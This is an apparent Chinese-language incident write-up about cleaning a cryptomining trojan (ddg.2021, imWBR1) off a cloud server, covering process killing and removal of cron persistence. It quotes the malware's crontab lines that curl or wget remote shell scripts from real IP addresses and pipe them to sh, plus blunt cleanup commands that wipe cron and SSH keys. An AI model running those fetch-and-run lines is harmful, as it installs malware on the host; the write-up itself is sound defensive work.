昨天晚上阿里云服务器 CPU 超过 90% 预警,没有理睬。今天早上查看服务器状况,原来异地登录被嵌入挖矿木马了!
top
命令查看发现 2 个异常进程:
CPU :wnTKYg 占用 99%, ddg.2021 占用 1%
尝试解决:
- 杀进程,并删除木马文件 – 未完全解决
$ find / -name wnTKYg
/tmp/wnTKYg
$ pkill wnTKYg
$ rm -rf /tmp/wnTKYg
- 未杀 ddg.2021 进程,木马重新生成 –
$ find / -name ddg.2021
/tmp/ddg.2021
$ pkill ddg.2021
$ rm -rf /tmp/ddg.2021
再重复 1 的操作即可删除成功!
杀不死的进程
是不这样就可以了呢,很可惜,我以为这样就可以了,但是它并没有啊,请看下面的图
显然它在15分钟后开始自启动了,接着大概在18:35分钟的时候它又开始工作了,重新开启 389.5%CPU
进程情况如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2791 root 20 0 541148 44416 1000 S 389.5 0.3 40:45.54 imWBR1
2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021
4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server
7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun
而 /tmp 目录中又出现了ddg.2021,而且还多了 imWBR1
ls /tmp/
ddg.2021
hsperfdata_root
imWBR1
再次删除并杀掉进程
rm -f /tmp/ddg.2021 /tmp/imWBR1
kill -9 2791
kill -9 2607
解决方案:找到它的定时任务并删除执行脚本和SSH的公钥
可以肯定的是一点会有一个定时任务在不停的检测是否程序被杀死了,如果杀死了并且可执行文件也被删除了那么它就会自动下载源程序并且启动执行脚本。
根据参考文档我去 /var/spool/cron 这个文件夹看了下,事实就是如此,那么我们来看看它的定时任务内容
cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
可以看出它有两个定时任务
- 删除 /var/spool/cron 下的内容
rm -fr /var/spool/cron/
- 删除ssh授权的公钥配置信息
rm -fr /root/.ssh/*
- 删除执行脚本和程序
在执行上面相似的方法
ps -aux|grep ddg
3458 /tmp/ddg.2021
kill -9 3458
ps -aux|grep imWBR1
3649 /tmp/imWBR1
kill -9 3649
rm -f /tmp/ddg.2021 /tmp/imWBR1
4. 清空 /etc/crontab 中的定时任务 (注:查看有异常定时任务,再清除操作)
接着找定时任务,我在 /etc/crontab 找到一个,看 ip 就觉得有问题
cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh
清空该定时任务
echo '' > /etc/crontab
对比特币挖矿木马分析研究和清除:http://www.freebuf.com/column/157775.html
总结
中招原因:linux 的 www 用户开启了登录权限设置简单密码,导致被撞库登录,并植入 crontab
命令写入 /tmp/php
, 解决办法当然是先修改密码了(最好关闭www用户登录权限),然后用 www 用户登录:
1. 查看
crontab -l
# 注释掉定时任务
# * * * * * wget -q -O - http://83.220.169.247/cr3.sh |sh > /dev/null 2>&1
### 2. 结束高耗 CPU 任务并删除
```shell
ps aux|grep php
www 12465 98.5 0.1 372984 3440 ? Ssl Dec14 3820:12 /tmp/php -c /tmp/p2.conf
sudo kill -9 12465
sudo rm /tmp/php